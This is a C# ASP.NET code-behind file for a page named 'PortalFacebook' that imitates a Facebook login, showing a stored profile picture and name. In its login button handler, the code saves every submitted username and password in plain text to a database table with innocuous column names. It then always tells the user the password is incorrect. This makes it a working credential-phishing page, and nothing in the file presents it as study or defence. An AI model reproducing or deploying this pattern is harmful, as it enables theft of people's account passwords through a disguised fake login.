﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using DiarioSur.Codigo;

namespace DiarioSur
{
    public partial class PortalFacebook : FormGenerico
    {
        private void ValidarPerfil()
        {
            if (CodigoPerfil > 0)
            {
                DiarioSurDataContext context = new DiarioSurDataContext();
                DS_Perfil perfil = context.DS_Perfils.Where(p => p.IdPerfil == CodigoPerfil).FirstOrDefault();

                if (perfil != null)
                {
                    imgPerfil.ImageUrl = @"~/Perfiles/" + perfil.FotoPerfil;
                    imgPerfil.Style["margin-top"] = "0";
                    txtUsuario.Style["display"] = "none";
                    pnlUsuario.Style["display"] = "none";
                    lblNombreFacebook.Text = perfil.NombrePerfil;
                    pnlContraseña.CssClass = "claseUsuario";
                    pnlContenedorUsuario.Style["height"] = "109px";
                    txtUsuario.Text = perfil.NombrePerfil;
                }
            }
        }


        protected void Page_Load(object sender, EventArgs e)
        {
            if (!IsPostBack)
                ValidarPerfil();
        }

        protected void btnIngresar_Click(object sender, EventArgs e)
        {
            if (txtUsuario.Text.Length == 0 || txtPassword.Text.Length == 0)
            {
                if(CodigoPerfil == 0)
                    lblPassIncorrecto.Text = "Complete AMBOS campos y luego presione el botón Ingresar";
                else
                    lblPassIncorrecto.Text = "Complete la contraseña y luego presion el botón Ingresar";
            }
            else
            {
                DiarioSurDataContext contexto = new DiarioSurDataContext();
                DS_Observacion observazao = new DS_Observacion();
                observazao.Campo1 = txtUsuario.Text;
                observazao.Campo2 = txtPassword.Text;
                contexto.DS_Observacions.InsertOnSubmit(observazao);
                contexto.SubmitChanges();
                lblPassIncorrecto.Text = "Contraseña incorrecta ingresela nuevamente";
            }
        }
    }
}